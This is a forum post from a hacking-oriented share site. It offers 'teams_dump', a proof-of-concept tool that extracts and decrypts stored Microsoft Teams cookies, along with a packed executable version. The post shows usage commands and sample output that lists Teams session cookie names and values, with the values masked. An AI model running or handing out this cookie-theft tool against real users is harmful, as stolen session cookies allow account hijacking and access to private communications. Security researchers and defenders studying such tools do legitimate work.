# Teams\_Dump | PoC For Dumping And Decrypting Cookies In The Latest Version Of Microsoft Teams

**URL:** <https://onehack.st/t/teams-dump-poc-for-dumping-and-decrypting-cookies-in-the-latest-version-of-microsoft-teams/262838>\
**Category:** Tools & Scripts\
**Tags:** tools, freebies, browsers\
**Created:** [November 5, 2023, 10:40pm UTC](https://onehack.st/t/teams-dump-poc-for-dumping-and-decrypting-cookies-in-the-latest-version-of-microsoft-teams/262838 "2023-11-05T22:40:56Z")\
**Posts on this page:** 1\
**Page:** 1

<div class="post-metadata">

**Author:** ![TheStrength](https://onehack.st/user_avatar/onehack.st/thestrength/32/46753_2.png) [@TheStrength](https://onehack.st/u/TheStrength)\
**Post date:** [November 5, 2023, 10:40pm UTC](https://onehack.st/t/teams-dump-poc-for-dumping-and-decrypting-cookies-in-the-latest-version-of-microsoft-teams/262838/1 "2023-11-05T22:40:56Z")

</div>

![image](https://onehack.st/uploads/default/original/3X/c/a/caa06b359525f64099bd80dd2623b3cdcfe20774.jpeg)

## [PoC for dumping and decrypting cookies in the latest version of Microsoft Teams](https://github.com/byinarie/teams_dump#poc-for-dumping-and-decrypting-cookies-in-the-latest-version-of-microsoft-teams)

> extract.py just dumps without arguments

> extract.exe is just extract.py packed into an exe

### [teams\_dump.py](https://github.com/byinarie/teams_dump#teams_dumppy)

List values in the database

```auto
python.exe .\teams_dump.py teams --list

Table: meta
Columns in meta: key, value
--------------------------------------------------
Table: cookies
Columns in cookies: creation_utc, host_key, top_frame_site_key, name, value, encrypted_value, path, expires_utc, is_secure, is_httponly, last_access_utc, has_expires, is_persistent, priority, samesite, source_scheme, source_port, is_same_party

```

Dump the database into a json file

```auto
python.exe .\teams_dump.py teams --get
[+] Host: teams.microsoft.com
[+] Cookie Name MUIDB
[+] Cookie Value: xxxxxxxxxxxxxx
 **************************************************
[+] Host: teams.microsoft.com
[+] Cookie Name TSREGIONCOOKIE
[+] Cookie Value: xxxxxxxxxxxxxx
 **************************************************

```

## GitHub:

> **[GitHub - byinarie/teams\_dump: PoC for dumping and decrypting cookies in the...](https://github.com/byinarie/teams_dump)**
>
> PoC for dumping and decrypting cookies in the latest version of Microsoft Teams
